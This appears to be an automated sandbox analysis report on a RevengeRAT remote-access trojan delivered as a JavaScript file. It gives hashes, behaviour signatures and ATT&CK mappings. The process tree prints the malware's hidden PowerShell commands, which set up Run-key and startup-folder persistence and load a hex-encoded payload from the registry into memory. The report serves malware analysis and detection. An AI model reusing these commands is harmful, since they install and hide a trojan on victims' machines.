revengerat | 5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36

General

Target

0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
Size

286KB
MD5

0baae90140666a166ba4c9afd6aeba63
SHA1

9bf0a78c3315231157c930e2b082bcc08595c540
SHA256

5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36
SHA512

62c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089
SSDEEP

3072:X8ZCsmsR3IqCIHLl75z4sI70rcAtxu6m89132TEI6jL2TdKL9YEgIximLiJv55hE:sUUSzcWQViC9

Score

10^/10

revengerat persistence stealer trojan

Malware Config

Extracted

Family

revengerat

Mutex

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

RevengeRat Executable 1 IoCs

stealer

resource	yara_rule
behavioral1/memory/1128-29-0x0000000002BF0000-0x0000000002BF8000-memory.dmp	revengerat

Blocklisted process makes network request 6 IoCs

flow	pid	Process
2	1128	powershell.exe
4	1128	powershell.exe
6	1128	powershell.exe
7	1128	powershell.exe
9	1128	powershell.exe
10	1128	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2916	powershell.exe
2872	powershell.exe
2552	powershell.exe
1128	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 2916	2220	wscript.exe	28
PID 2220 wrote to memory of 2916	2220	wscript.exe	28
PID 2220 wrote to memory of 2916	2220	wscript.exe	28
PID 2916 wrote to memory of 2512	2916	powershell.exe	30
PID 2916 wrote to memory of 2512	2916	powershell.exe	30
PID 2916 wrote to memory of 2512	2916	powershell.exe	30
PID 2512 wrote to memory of 2872	2512	wscript.exe	31
PID 2512 wrote to memory of 2872	2512	wscript.exe	31
PID 2512 wrote to memory of 2872	2512	wscript.exe	31
PID 2512 wrote to memory of 2552	2512	wscript.exe	33
PID 2512 wrote to memory of 2552	2512	wscript.exe	33
PID 2512 wrote to memory of 2552	2512	wscript.exe	33
PID 2512 wrote to memory of 1128	2512	wscript.exe	35
PID 2512 wrote to memory of 1128	2512	wscript.exe	35
PID 2512 wrote to memory of 1128	2512	wscript.exe	35

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'));wscript 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js' -PropertyType String -Force;"
      4⤵
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'))"
      4⤵
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js

Filesize
286KB

MD5
0baae90140666a166ba4c9afd6aeba63

SHA1
9bf0a78c3315231157c930e2b082bcc08595c540

SHA256
5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36

SHA512
62c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
383e1452e7ecf53a9bd344ec432741eb

SHA1
67060d9999bf438bccfd49073fd654f6b3da01f6

SHA256
d9142a3da103cdd15247d387b440bfe7bce118372b6f92160dc160656161f96a

SHA512
d1bb994aafa228369bead526704c31e3bb2cd7296598aff133c9a305606c89a58cc9fdec043d110c04cfbdbbcc98d197ae43660a2458ca4b4af0b421b92a04da

Download Submit
memory/1128-29-0x0000000002BF0000-0x0000000002BF8000-memory.dmp

Filesize
32KB

Download
memory/2916-6-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2916-9-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2916-10-0x0000000002E60000-0x0000000002EE0000-memory.dmp

Filesize
512KB

Download
memory/2916-11-0x0000000002E60000-0x0000000002EE0000-memory.dmp

Filesize
512KB

Download
memory/2916-4-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2916-7-0x0000000002E60000-0x0000000002EE0000-memory.dmp

Filesize
512KB

Download
memory/2916-5-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2916-30-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2916-31-0x0000000002E60000-0x0000000002EE0000-memory.dmp

Filesize
512KB

Download
memory/2916-32-0x0000000002E60000-0x0000000002EE0000-memory.dmp

Filesize
512KB

Download
memory/2916-33-0x0000000002E60000-0x0000000002EE0000-memory.dmp

Filesize
512KB

Download
memory/2916-34-0x0000000002E60000-0x0000000002EE0000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads